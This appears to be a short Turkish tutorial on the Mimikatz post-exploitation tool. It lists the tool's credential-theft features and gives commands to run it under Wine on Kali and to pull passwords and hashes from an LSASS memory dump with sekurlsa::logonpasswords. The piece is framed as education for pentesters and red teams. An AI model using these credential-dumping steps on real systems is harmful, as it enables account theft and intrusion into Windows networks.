**Mimikatz**, Windows sistemlerinde **şifrelerin, hash’lerin, Kerberos bileti ve oturum bilgileri gibi kimlik doğrulama verilerinin elde edilmesi** amacıyla kullanılan en güçlü ve bilinen post-exploitation araçlarından biridir. Fransız güvenlik araştırmacısı Benjamin Delpy tarafından geliştirilmiştir.

Red Team, pentester ve saldırganlar tarafından yaygın kullanılır; aynı zamanda savunma ekipleri için tespit testlerinde de referans aracıdır.

**Bu Aracın Özellikleri Nelerdir?**

* **LSASS’tan şifre çıkarımı**
* **Cleartext, NTLM, AES hash’leri görüntüleme**
* **Kerberos bileti çıkarımı (Pass-the-Ticket)**
* **Pass-the-Hash (PTH) saldırısı**
* **Golden Ticket / Silver Ticket oluşturma**
* **SAM ve SYSTEM registry’den parola çıkartma**
* **Oturum token’larıyla işlem yürütme**

**Mimikatz Aracını Kali Ortamında Kullanma Adımları**

**Adım 1: Wine Kurulumu**

“sudo apt update

sudo apt install wine64 -y”

**Adım 2: Mimikatz’ın Windows Sürümünü İndir**

“wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20230822/mimikatz\_trunk.zip

unzip mimikatz\_trunk.zip

cd mimikatz\_trunk/x64”

**Adım 3: Mimikatz’ı Wine ile Çalıştır**

“wine mimikatz.exe”

**metin, yazı tipi, ekran görüntüsü, grafik içeren bir resim

Açıklama otomatik olarak oluşturuldu**

**Adım 4: Offline Dump Dosyasından Hash Alma (Örnek)**

Eğer elinizde LSASS dump varsa:

“sekurlsa::minidump lsass.dmp

sekurlsa::logonpasswords”

metin, yazı tipi, ekran görüntüsü içeren bir resim

Açıklama otomatik olarak oluşturuldu

*LSASS dump dosyasını almak için psexec, procdump veya mimidump gibi araçlar gerekir (Windows tarafında).*